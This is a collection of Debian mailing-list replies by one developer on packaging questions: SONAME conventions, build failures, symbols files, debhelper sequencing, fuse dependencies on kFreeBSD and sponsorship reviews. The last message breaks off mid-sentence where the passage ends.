Re: SONAME best practice
On Tue, May 15, 2012 at 08:16:08AM +, Andy Hawkins wrote: Hi, In article 4fb20730.1090...@pocock.com.au, Daniel Pocockdan...@pocock.com.au wrote: There has been some discussion on this list about flactag and libmusicbrainz libmusicbrainz SONAMEs have a colourful history and this is reflected in the way previous versions have been packaged e.g. SONAME = libmusicbrainz3.so.6 v2.1.x (currently in Debian, src pkg = libmusicbrainz-2.1) SONAME = libmusicbrainz.so.4 v4.0.x (on mentors) SONAME = libmusicbrainz4.so.0 I'm in the process of creating a libmb5, in order to get around the blocking issues in getting libmb4 into Debian. The new version will be 5.0.0, the library is libmusicbrainz5.so.1.0.0 I think this is a much more sensible way of doing things. The '5' in the first part is (I think) sensible, as it easily allows multiple versions of libmusicbrainz to be installed side-by-side (for example, libmb3 still works, so any applications that need it should be able to install it side by side with libmb5). You already get that co-installability if you use e.g. libmusicbrainz.so.4 and libmusicbrainz.so.5, in which case the packages would be libmusicbrainz4 and libmusicbrainz5. With libmusicbrainz4.so.0 and libmusicbrainz5.so.1.0.0, they would be libmusicbrainz4-0 and libmusicbrainz5-1. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120515084407.ga10...@glandium.org
Re: C++ help wanted: FTBFS mira
On Thu, Dec 08, 2011 at 09:39:05AM +0100, Andreas Tille wrote:
Hi,
I try to build a new upstream version of mira but failed and without
having realy checked it also the current version will fail with latest
gcc.
The build log says:
g++ -DPACKAGE_NAME=\mira\ -DPACKAGE_TARNAME=\mira\
-DPACKAGE_VERSION=\3.4.0.1\ -DPACKAGE_STRING=\mira\ 3.4.0.1\
-DPACKAGE_BUGREPORT=\\ -DPACKAGE_URL=\\ -DPACKAGE=\mira\
-DVERSION=\3.4.0.1\ -DSTD
In file included from ../../src/mira/readpool.H:43:0,
from ../../src/mira/contig.H:52,
from ../../src/mira/assembly_info.H:33,
from assembly.H:32,
from estassembly.C:31:
../../src/mira/read.H:219:5: error: 'Read::bposhashstat_t::bposhashstat_t()'
cannot be overloaded
../../src/mira/read.H:163:5: error: with
'Read::bposhashstat_t::bposhashstat_t()'
make[5]: *** [estassembly.o] Error 1
while line number 219 in the file in questions is:
219:bposhashstat_t () {
220:}
And line 163 is:
163: bposhashstat_t() {};
In other words, you have two definitions of the same (empty) constructor
in the same class.
Mike
--
To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/20111208085303.ga22...@glandium.org
Re: RFS: icecat
On Sun, Aug 21, 2011 at 08:54:29AM +0200, Sven Joachim wrote: On 2011-08-21 08:33 +0200, Javier Sancho wrote: There is no limitation. Users can install non-free plugins if they want. They can go to Firefox website and download them. The only difference is that Gnu IceCat don't provide these non-free plugins at its add-ons manager and then, users know that IceCat plugins are all free. Forking Iceweasel for this difference is an action that will never be accepted by the FTP masters or the security team, I bet. Your time would be much better spent by fixing bug #522331¹ in Iceweasel itself. Or making icecat a xulrunner application. Or making icecat an iceweasel extension. The latter would be the most workable solution. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110821070623.ga4...@glandium.org
Re: RFS: 0ad
On Mon, Apr 11, 2011 at 10:26:08AM +0100, Jon Dowland wrote: On Sun, Apr 10, 2011 at 06:04:43PM +0800, Paul Wise wrote: from the replies I've seen so far, it seems that embedding Spidermonkey code in 0 A.D.'s source is a no-no, or at least strongly discouraged. Maybe porting to another JavaScript engine (like Google V8) is the best long-term solution? It seems to be asking a lot of upstream. Is there a likelyhood for any other package to make use of the old spidermonkey version (when it is old, that is)? I'd expect not, and so I'd think using the bundled version was the sensible choice. There are several packages using spidermonkey, and they are originally designed for various versions of spidermonkey. If we'd keep these bundled versions, we'd have 10 copies of different versions of (security hazardous) spidermonkey in the archive. If we'd package all of them as separate packages, we'd have 10 spidermonkey packages. The sensible choice is to either avoid using spidermonkey, or use the latest available in Debian. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20110411093512.ga6...@glandium.org
Re: RFS: jsl - JavaScript program checker
On Sat, Oct 23, 2010 at 05:08:46PM +0200, Laurent Arnoud wrote: Dear mentors, I am looking for a sponsor for my package jsl. * Package name: jsl Version : 0.3.0-1 Upstream Author : Matthias Miller i...@javascriptlint.com * URL : http://www.javascriptlint.com/ * License : MPL Section : devel It builds these binary packages: jsl- JavaScript program checker The package appears to be lintian clean. The upload would fix these bugs: 364919 My motivation for maintaining this package is: I'm currently using it as a web developer. The package can be found on mentors.debian.net: - URL: http://mentors.debian.net/debian/pool/main/j/jsl - Source repository: deb-src http://mentors.debian.net/debian unstable main contrib non-free - dget http://mentors.debian.net/debian/pool/main/j/jsl/jsl_0.3.0-1.dsc I would be glad if someone uploaded this package for me. There is a big problem with jsl, though, in that like iirc jscoverage, it embeds its own copy of spidermonkey, and an old one at that... Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101024072220.gb3...@glandium.org
Re: RFS: jsl - JavaScript program checker
On Sun, Oct 24, 2010 at 05:45:29PM +0800, Thomas Goirand wrote: On 10/24/2010 03:22 PM, Mike Hommey wrote: There is a big problem with jsl, though, in that like iirc jscoverage, it embeds its own copy of spidermonkey, and an old one at that... Mike I didn't have a look at the package itself, but it has never been against the policy that a *source* package embeds another library, as long as the resulting binary doesn't. I'm pretty confident jsl, like jscoverage, doesn't have any way to use the system library. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101024101043.ga14...@glandium.org
Re: dh_makeshlibs exits with error on buildds and with success at home: is DPKG_GENSYMBOLS_CHECK_LEVEL set on buildds ?
On Thu, Jul 22, 2010 at 09:54:12AM +0900, Charles Plessy wrote: Le Thu, Jul 22, 2010 at 02:10:53AM +0200, Jakub Wilk a écrit : * Charles Plessy ple...@debian.org, 2010-07-22, 08:41: I uploaded a package that built fine in a chroot made by the helper tool ‘sbuild-createchroot’, but it failed on all buildds when running dh_makeshlibs. dh_makeshlibs: dpkg-gensymbols -plibajax6 -Idebian/libajax6.symbols -Pdebian/libajax6 returned exit code 1 See for instance: https://buildd.debian.org/fetch.cgi?pkg=emboss;ver=6.3.1-1;arch=amd64;stamp=1279698597 I suspect that the check level of dpkg-gensymbol overriden on buildds, Why? The default value level is 1, i.e. fail if some symbols have disappeared. And they indeed disappeared, at least on amd64. Thanks for the explanation. The problem is then in my sbuild chroots: why doesn't it fail there? I just checked, and DPKG_GENSYMBOLS_CHECK_LEVEL is not set there either. My chroots are up to date, with dpkg-dev at version 1.15.7.2. I will update the symbols files, this will suppress the symptoms, but not solve the problem in the long term… How about you actually check what is going on? Like checking one of the symbols: $ grep -r Java_org_emboss_jemboss_parser_Ajax_delDir . ./debian/libajax6.symbols: java_org_emboss_jemboss_parser_ajax_del...@base 6.3.0 ./ajax/core/ajjava.c:JNIEXPORT jboolean JNICALL Java_org_emboss_jemboss_parser_Ajax_delDir ./ajax/core/ajjava.h:JNIEXPORT jboolean JNICALL Java_org_emboss_jemboss_parser_Ajax_delDir Then check in the log if the ajax/core/ajjava.c file is built, and ... it is. So, check the content of the file to see what's happening, and see there is a #ifdef HAVE_JAVA at its beginning. Which you can find gets defined in configure through ./m4/java.m4. And in the build log: checking if java include directory given... no checking if java OS include directory given... no (...) checking for javac... false Why? simply because of this in debian/control: Build-Depends-Indep: openjdk-6-jdk Build-Depends-Indep are used to build arch: all stuff only and are not installed on buildds, but in your case, the jdk is necessary to build arch: any stuff. Now, you obviously have another bug, that is that --with-java is dropped when java is not detected. Usually, you'd prefer explicit arguments to be error out. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20100722081340.gb3...@glandium.org
Re: will different compiler generate different symbols?
On Fri, Jul 16, 2010 at 11:32:36AM +0800, Liang Guo wrote: Hi, ALL, My package(sunpinyin) is compiled with g++ 4.4, and it's symbols file is generated by dpkg-gensymbols, when I switch g++ to 4.3, and compile package, I get the following error: (snip) dh_makeshlibs: dpkg-gensymbols -plibsunpinyin3 -Idebian/libsunpinyin3.symbols -Pdebian/libsunpinyin3 returned exit code 1 make: *** [binary-arch] 错误 1 dpkg-buildpackage: error: fakeroot debian/rules binary gave error exit status 2 Does it mean when using different compiler, the SAME library source code will generate different symbols? If it does, which compiler should I use to compile my packages and to generate symbols? How should I handle this problem ? The question you have to ask yourself is, are these symbols part of the public API? and probably more importantly, where are they defined? I have seen, in the past, many situations where optimization level would influence what symbols are exported or not. And different versions of g++ may optimize things differently. This can, for example, occur with code in header files (which can happen in C++ classes definition). Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20100716094834.ge3...@glandium.org
Re: flow of things rules/debhelper
On Mon, Apr 05, 2010 at 09:48:13PM +0900, Osamu Aoki wrote: Hi, On Mon, Apr 05, 2010 at 02:37:41AM +0200, jmroth+...@iip.lu wrote: Hello there, today, I have a question regarding the maintainers guide, which says: You must be reading one from squeeze or subversion one which is enen newer. fakeroot debian/rules binary runs fakeroot dh binary which in turn runs fakeroot dh binary-arch and fakeroot dh binary-indep... It does indeed work that way, but hadn't it better be: debian/rules binary - dh binary - debian/rules binary-arch - dh binary-arch ... I do not get your point. Are you suggesting dropping fakeroot? (Why? Without fakeroot, command can not be run.) Are you suggesting to call debian/rules binary-arch (This is too pedantic and I am not sure it actually do this.) Situation is: debian/rules binary | +--- dh binary | +---+-- dh binary-arch | +-- dh binary-indep If there is a good way to express following in English: fakeroot debian/rules binary runs fakeroot dh binary which in turn runs ( fakeroot dh binary-arch and fakeroot dh binary-indep ) By reading folowing text should have made it clear: The commands listed below are run twice, once with the -a option (in binary-arch) and once with the -i option (in binary-indep): Actually, it doesn't. dh binary just runs whatever sequence is necessary for the binary target, starting from where it ended last, running without even -i or -a. dh binary-arch will do the same, but with the -a argument. dh binary-indep will do the same, but with the -i argument. Example: - if you first ran dh build, then dh binary will run dh_auto_install, dh_install, (...), dh_installcatalogs, (...), dh_strip, (...), dh_installdeb, (...) - if you ran nothing, then dh binary will run dh_auto_configure, dh_auto_build, dh_auto_test, dh_auto_install, etc. - if you ran dh install, then dh binary-arch will run dh_strip -a, (...), dh_installdeb -a, (...) Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20100405133050.ga4...@glandium.org
Re: flow of things rules/debhelper
On Tue, Apr 06, 2010 at 12:57:17AM +0900, Osamu Aoki wrote: Hi, Thanks. I am rethinking few things. On Mon, Apr 05, 2010 at 03:07:34PM +0200, jmroth+...@iip.lu wrote: Hi, I'll try to make myself clearer: the question is: why is e.g. debian/rules binary-indep never called on a binary independent package, assume a PHP app. Aside from the issues discussed with Mike ... reality is once debian/rules binary is run, there is no need to run debian/rules binary-indep nor debian/rules binary-arch. All the piecees of actions have been done. Normal package build process only calls binary as I understand. On buildds binary-arch is called if it exists. Otherwise, binary is used. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20100405161749.ga25...@glandium.org
Re: migration to testing
On Sat, Mar 27, 2010 at 01:21:29PM -0500, Peter Samuelson wrote: [Mike Hommey] There is a general problem with fuse, actually. fuse-utils is needed by any program using libfuse and allowing users (i.e not root) to mount a filesystem: In this case, libfuse uses fusemount to do the mount, since mount(2) is unfortunately a CAP_SYS_ADMIN syscall, and fusemount is suid root, allowing the fs to be mounted. If there are particular entry points into libfuse that cause it to require fuse-utils, it seems to me you could express the dependency conditionally via the .symbols file. Not that I've ever tried it, but deb-symbols(5) indicates that this sort of flexibility is possible. Unfortunately, there is no symbol that could be used for this. fuse_mount() ends up first trying mount(2) and if that fails because of permissions, it then tries running fusemount. And most fuse filesystems don't even call fuse_mount directly, and rely on some other helper in the library to just do it for them. Now, looking at the code, it appears the bsd version doesn't even try to use mount(2), which means that in any case, all filesystems do need fusebsd on bsd systems. libfuse should really depend on it on bsd systems if that's not already the case. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20100328072855.gb3...@glandium.org
Re: migration to testing
Cc'ing to -devel, as it is a more general problem and I'd like to hear feedback from other fellow developers. On Sat, Mar 27, 2010 at 01:05:37PM +0100, Simon Paillard wrote: On Sat, Mar 27, 2010 at 02:16:58PM +0300, Stanislav Maslovski wrote: One of my packages, fuse-convmvfs (uploaded by a sponsor), cannot migrate to testing. The migration is blocked by kfreebsd: * fuse-convmvfs/kfreebsd-amd64 unsatisfiable Depends: fuse-utils * fuse-convmvfs/kfreebsd-i386 unsatisfiable Depends: fuse-utils What is the recommended way of solving this? fuse-utils is not build on kfreebsd-(amd64|i386) since it's Linux-specific, see #528537: | Please find below a patch to add GNU/kFreeBSD support to fuse. On this | system, the kernel module and the utilities are provided in a separate | source package called fuse4bsd. That's why the patch disable fuse-utils | on non Linux systems. Given previous versions of fuse-convmvfs exist in testing, I guess the package is meant to be usable on kfreebsd even without fuse-utils available. That would mean fuse-utils is actually a recommend ? You might ask kfreebsd porters on debian-bsd list for details. There is a general problem with fuse, actually. fuse-utils is needed by any program using libfuse and allowing users (i.e not root) to mount a filesystem: In this case, libfuse uses fusemount to do the mount, since mount(2) is unfortunately a CAP_SYS_ADMIN syscall, and fusemount is suid root, allowing the fs to be mounted. So, actually, the one that requires fuse-utils is not technically the end package, but libfuse itself. There are users of libfuse that don't (indirectly) require fusemount, such as zfs-fuse, since it is only intended to be run as root, as a daemon and thus can call mount(2) itself. Anyways, on kfreebsd, fusemount is provided by another package (fusebsd, iirc), which means that except if the freebsd kernel allows the mount syscall for users, all packages currently depending on fuse-utils should now depend on fuse-utils | fusebsd. This just sounds plain wrong, and IMHO, libfuse itself should do the depend, though arguably, some libfuse rdepends don't need them. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20100327123856.ga8...@glandium.org
Re: what between ITP and RFS ?
On Thu, Jan 21, 2010 at 05:52:45PM +0100, Jérémy Lal wrote: Imagine this common use case : - create an ITP - then make the package available for sponsors (say, on mentors), - then send an RFS - later (sometimes a lot later, or even never), the package is uploaded Is there already a standard way of showing in the ITP that an RFS has been sent ? I ask because it's very easy to find the ITP, but it's not to know the current status of the ITP, until it's been resolved. I would naively add a small note to it, but it does not seem to be the right way. Why not Cc the ITP bug when you send your RFS on -mentors ? Cheers, Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: RFS: instantbird
On Sat, Dec 12, 2009 at 12:19:13AM +0100, Gabriele Giacone wrote: Dear mentors, I am looking for a sponsor for my package instantbird. * Package name: instantbird Version : 0.2b1-1 Upstream Author : Florian Quèze flor...@instantbird.org * URL : http://www.instantbird.com/ * License : Mozilla tri-license MPL1.1/GPL2.0/LGPL2.1 Section : net It builds these binary packages: instantbird - instant messaging client based on XULrunner and libpurple The upload would fix these bugs: 495736 (ITP) My motivation for maintaining this package is: I consider it a young but interesting project with a great potential thanks to Mozilla XULrunner (UI,addons) and libpurple (multiprotocol) It uses Debian XULrunner (1.9.1.5) and a strongly modified libpurple. At the moment, building it with system libpurple is not possible. Security team suggests to upload it in unstable but filing a blocker RC bug to prevent inclusion in squeeze and then providing unofficial squeeze backports. At the same time, somebody could try to patch instantbird to make possible a build with system libpurple. Further info in email below and here [1] I would be glad if someone reviewed this package once again and possibly uploaded it for me. Before I get to build the package and see what the binary package actually looks like, a small nitpick that would be better to fix before the package gets in the NEW queue: The copyright file references xulrunner which is maybe not really accurate, but more importantly, references the mozilla files as if they were at the root of the upstream tarball, when they really are in a mozilla/ subdirectory. I'll follow up about the binary packages later, on the pkg-mozilla list only. Cheers, Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Request for testing by someone in -mentors (Was: Re: RFS: instantbird)
On Tue, Dec 15, 2009 at 10:07:11AM +0100, Mike Hommey wrote: On Sat, Dec 12, 2009 at 12:19:13AM +0100, Gabriele Giacone wrote: Dear mentors, I am looking for a sponsor for my package instantbird. * Package name: instantbird Version : 0.2b1-1 Upstream Author : Florian Quèze flor...@instantbird.org * URL : http://www.instantbird.com/ * License : Mozilla tri-license MPL1.1/GPL2.0/LGPL2.1 Section : net [snip] Before I get to build the package and see what the binary package actually looks like, a small nitpick that would be better to fix before the package gets in the NEW queue: The copyright file references xulrunner which is maybe not really accurate, but more importantly, references the mozilla files as if they were at the root of the upstream tarball, when they really are in a mozilla/ subdirectory. I'll follow up about the binary packages later, on the pkg-mozilla list only. Actually, I'm following up on both lists. The binary package looks fine from my point of view, but I would appreciate if someone from the -mentors crowd could actually test it (don't worry, even if the source is big, it compiles really quickly). Apart from the above note about the copyright file, I think this package is good for unstable. Cheers, Mike PS: quoting the original mail for the package location: The package can be found on mentors.debian.net: - URL: http://mentors.debian.net/debian/pool/main/i/instantbird - Source repository: deb-src http://mentors.debian.net/debian unstable main contrib non-free - dget http://mentors.debian.net/debian/pool/main/i/instantbird/instantbird_0.2b1-1.dsc -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Realloc is blocking execution
On Fri, Oct 16, 2009 at 12:02:26PM +0200, Bernhard R. Link wrote: * Mats Erik Andersson mats.anders...@gisladisker.se [091016 11:55]: 4. The main process WM receives SIGHUP, and enters a signal handler. The signal handler uses two calls: free_menuitems(), get_menuitems(). If those calls call malloc or free or anything else this might be the problem. Memory allocation functions are not reentrant and due to threading support are easily blocking when used this way. Sadly, the manual page for these functions under linux doesn't seem to say anything about that, contrary to other unices man pages. Maybe this should be filed as a wishlist bug. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: RFS: qemu-kvm (kvm)
On Fri, Oct 16, 2009 at 10:15:46PM +0400, Michael Tokarev wrote: Giuseppe Iuculano wrote: Michael Tokarev ha scritto: I wrote to debian kvm package maintainer several times, I submitted a bugreport against kvm long time ago, but never heard back. So now I'm requesting a sponsor to upload my packages into debian. You are trying to hijack kvm, this is not the way to do it appropriately. I'm trying to make it to work. And to my shame, I don't know how to do that in another way. I already support debian users by maintaining the package out of debian. Anyway your package is completely wrong, you only changed the source name, we can't have the same binary name for two different packages, or two identical packages with a different name. Well, saying it's completely wrong is not wise. It's not wrong. You named one reason why do you think it's wrong. Which is its name. But this has its reasoning in upstream naming. As I described in my initial email, initially there were development snapshots with naming scheme like kvm-$number. It was nothing but development snapshots. First stable release was named qemu-kvm-0.10.0, and it will follow this naming scheme from now on. With this, there's no real need to package the development snapshots anymore. So kvm-$number _source_ package should go, and be replaced with qemu-kvm. Which is exactly what my version does. Except there is no such kvm-$number source package. The source package for kvm is kvm. In short: the source naming scheme follows upstream. Note again that as of lenny, there was _no_ single stable release of kvm. As of with naming scheme of kvm _binary_ package, I left it the way it was before, to avoid further confusion. Which is enough already, due to the fact that kvm is a patched version of qemu. And that is called highjacking. kvm is a well-recognized _executable_ name for this binary, and the fact that it comes from qemu-kvm source is not an issue. Also I want to have easy upgrade path from kvm-$num as in debian now to this qemu-kvm package. So I'm not quite sure what I missed. Except of the proper way you mentioned above. Which I still don't know -- the way I know is to contact the maintainer and/or submit bugreports. I did both, starting about half a year ago, but to no avail. You obviously missed how debian package maintenance works, which is something you should know as someone who applied to be DD. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Autotools (library + binary) to debian packages
On Mon, Oct 12, 2009 at 04:40:12AM -0300, Felipe Sateler wrote: On Mon, 2009-10-12 at 14:47 +0900, Charles Plessy wrote: Le Sun, Oct 11, 2009 at 06:25:12PM -0500, Jonathan Nieder a écrit : If the libfoo-dev is _very_ small and feels silly as a separate package, you can include its files in libfoo0 and make that Provides: libfoo-dev, but what does this win you? Problems with multi-arch ? http://lists.debian.org/debian-devel/2009/07/msg00861.html And not even with multiarch. It breaks smooth transitions of libraries. Since the include files and friends are not ABI-versioned, you will not be able to install libfoo0 and libfoo1 at the same time (you need appropriate conflicts and replaces), thus defeating the purpose of ABI versioning in the package name. ... and doesn't allow for binNMUs either, since the development package name changes. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Question about a library that is not creating its *.so* files
On Wed, Oct 07, 2009 at 11:01:05AM -0430, Muammar El Khatib wrote: Hi, I maintain a package which is called CEGUI. In current SID version (0.6.2), when you compile it, the next files under usr/lib are created: snip As can be seen above, there is no usr/lib/libCEGUI*.so.* files.I have looked into the configure file and there is this option: --enable-shared[=PKGS] build shared libraries [default=yes] So I cannot understand, Why this kind of stuff happen if the shared libraries are supposed to be created by default? Maybe this kind of question in silly, but what I would like to know is why it happens. I will appreciate your comments. libname-x.y.z.so is another valid for for libname.so.x.y.z. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Question about a library that is not creating its *.so* files
On Wed, Oct 07, 2009 at 05:49:39PM +0200, Mike Hommey wrote: On Wed, Oct 07, 2009 at 11:01:05AM -0430, Muammar El Khatib wrote: Hi, I maintain a package which is called CEGUI. In current SID version (0.6.2), when you compile it, the next files under usr/lib are created: snip As can be seen above, there is no usr/lib/libCEGUI*.so.* files.I have looked into the configure file and there is this option: --enable-shared[=PKGS] build shared libraries [default=yes] So I cannot understand, Why this kind of stuff happen if the shared libraries are supposed to be created by default? Maybe this kind of question in silly, but what I would like to know is why it happens. I will appreciate your comments. libname-x.y.z.so is another valid for for libname.so.x.y.z. That should read: libname-x.y.z.so is another valid form. I'll also add it is (supposed to be) supported by packaging tools. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Question about a library that is not creating its *.so* files
On Wed, Oct 07, 2009 at 11:42:23AM -0430, Muammar El Khatib wrote: Hi Mike and Samuel, On Wed, Oct 7, 2009 at 11:24 AM, Mike Hommey m...@glandium.org wrote: On Wed, Oct 07, 2009 at 05:49:39PM +0200, Mike Hommey wrote: On Wed, Oct 07, 2009 at 11:01:05AM -0430, Muammar El Khatib wrote: Hi, I maintain a package which is called CEGUI. In current SID version (0.6.2), when you compile it, the next files under usr/lib are created: snip As can be seen above, there is no usr/lib/libCEGUI*.so.* files.I have looked into the configure file and there is this option: --enable-shared[=PKGS] build shared libraries [default=yes] So I cannot understand, Why this kind of stuff happen if the shared libraries are supposed to be created by default? Maybe this kind of question in silly, but what I would like to know is why it happens. I will appreciate your comments. libname-x.y.z.so is another valid for for libname.so.x.y.z. I thought so. That should read: libname-x.y.z.so is another valid form. I'll also add it is (supposed to be) supported by packaging tools. So it is not necessary to create symlinks to have libname.so.x.y.z, isn't it? Exactly. See /usr/lib/libdb-4.x.so files, for example. (snip) $ objdump -p libCEGUIDevILImageCodec-0.7.0.so | grep SONAME SONAME libCEGUIDevILImageCodec-0.7.0.so They match :) The question now is to know whether this is the intended SONAME. With the libname.so.x.y.z form, usually, the SONAME is only libname.so.x. This means that libname.so.x.y+1.0 has the same SONAME, while libname-x.y+1.0 doesn't. If that is the intent, it is fine, but if it is not, there is a problem. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Canceled ITP for lv2dynparam1_2-1_amd64.changes is NEW
On Mon, Sep 14, 2009 at 09:47:22AM +0200, Jaromír Mikeš wrote: Hello mentors, my package was uploaded and waiting for acceptance. http://ftp-master.debian.org/new.html Unfortunately ITP for this package was canceled by some other debian process few weeks ago. I've got email about it, but I didn't pay attention to it believed it is some mistake. Can it be reason for refusing package? No If yes can I do something now to repair it? Even if no, you should at least try to find the original bug that was intended to be closed instead of your ITP. Then you should either contact pam maintainers so that they close it or close it yourself, and reopen your own ITP. For that purpose, you can use the bts command line tool, with the command bts reopen nn. Cheers, Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: How to detect 32 or 64 bit at build time?
On Tue, Sep 08, 2009 at 12:05:55AM -0400, Felipe Sateler wrote: Sven Joachim wrote: On 2009-09-07 12:54 +0200, Sven Joachim wrote: How about DEB_HOST_ARCH_BITS? This needs dpkg 1.15.4, though. Sorry, that should have been DEB_BUILD_ARCH_BITS. As Neil would have pointed out if he were still subscribed to -mentors, DEB_BUILD_* is almost always the wrong choice, otherwise it will cross-build incorrectly. Note it's always a pain that dpkg-architecture and autoconf use the same word for an opposite meaning. autoconf dpkg-architecture host DEB_BUILD_ target DEB_HOST_ Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Issue with dpkg-shlibdepds
On Tue, Sep 01, 2009 at 07:45:53AM -0500, Boyd Stephen Smith Jr. wrote: In 20090901055635.gc6...@glandium.org, Mike Hommey wrote: On Mon, Aug 31, 2009 at 04:03:06PM -0700, Joe Smith wrote: Another issue sprung up, though. What I need to be able to do now is have libngi3 (0.8) and libngi3 (0.9) installed at the same time. They don't share any binaries that are the same. Why would you want that, actually ? Most of the time, this is not something you'd want. If they are compatible, you don't even need that. If they are not compatible, then the SONAME should be changed, not the package name. However, changing the (binary) package name could possibly allow side-by-side installation of the old ABI and the new ABI. It doesn't possibly allow it, it *does* allow it, since different ABIs *must* have different package and library names. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Issue with dpkg-shlibdepds
On Mon, Aug 31, 2009 at 04:03:06PM -0700, Joe Smith wrote: Thanks Mike. Sorted that issue out. Didn't realize I'd commented out dh_makeshlibs =) Another issue sprung up, though. What I need to be able to do now is have libngi3 (0.8) and libngi3 (0.9) installed at the same time. They don't share any binaries that are the same. I assume this means that I actually have to make libngi3-0.9 and libngi3-0.8 packages as separate entities? Or is there a way to make a package not replace itself if there's something using it? Why would you want that, actually ? Most of the time, this is not something you'd want. If they are compatible, you don't even need that. If they are not compatible, then the SONAME should be changed, not the package name. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Issue with dpkg-shlibdepds
On Fri, Aug 28, 2009 at 04:09:21PM -0700, Joe Smith wrote: Can you provide any insight on how I can get dpkg-shlibdeps to pick this up automatically without having to hardcode the libmylib (= 0.8) dependency and having to change that every time a new library is compiled against? Is the application built from the same source package as libmylib ? If so, try the -S option of dpkg-shlibdeps. Otherwise, does you library package include a shlibs or a symbols file ? If not, you need to invoke dh_makeshlibs (if you use debhelper). Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Multiple releases of a package on mentors.debian.net
On Thu, Aug 27, 2009 at 03:09:06PM +1000, Steffen Joeris wrote: On Thu, 27 Aug 2009 02:53:40 pm Ben Finney wrote: Steffen Joeris steffen.joe...@skolelinux.de writes: On Thu, 27 Aug 2009 02:19:28 pm Ben Finney wrote: How can I have two separate releases of my package, targeting separate archive suites, available at ‘mentors.debian.net’ for prospective sponsors? Why don't you just email debdiffs to your sponsor? The package will be rebuild anyway. Maybe I'm missing your point, but this question seems to dismiss the whole purpose of mentors.debian.net: to *find* a sponsor for a package upload, by making the package available for inspection *before* knowing who will sponsor it. Debdiffs can also be emailed to this mailinglist I believe. I guess you are talking about burn, so maybe it's also not a bad idea to CC the release team for their ACK since it has to go through s-p-u. Depending on the security issue, that would need to go through stable-security, and that needs security team ack. Mike -- To UNSUBSCRIBE, email to debian-mentors-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Re: Package uploaded with UNRELEASED distribution.
On Sun, Aug 23, 2009 at 02:42:17PM -0500, Manoj Srivastava wrote: On Sun, Aug 23 2009, Lucas Nussbaum wrote: I had a package rejected out of NEW because of that (same case: UNRELEASED in changelog, Distribution: unstable in .changes). Being curious, I asked ftpmasters why it this was a problem (besides not being very beautiful), but didn't get an answer. I think that it's mostly harmless: I can't think of any important part of Debian architecture parsing the changelog to extract that Apart from humans. information. It probably just doesn't look nice on http://packages.debian.org/. It also means that the changelog is not in sync with reality: the changelog explicitly state that this is an unreleased package, having it end up on my machine without active ihnvolvement of the admin means something went wrong. It also means that the package uploader failed to check the changelog before uploading, which might also mean the package may have other issues as well. Note it is actually very easy to keep an UNRELEASED in a changelog: dch -r doesn't keep its own changes if the file's mtime doesn't change after the editor is closed. i.e. if you close your editor without saving the unmodified file, the changelog 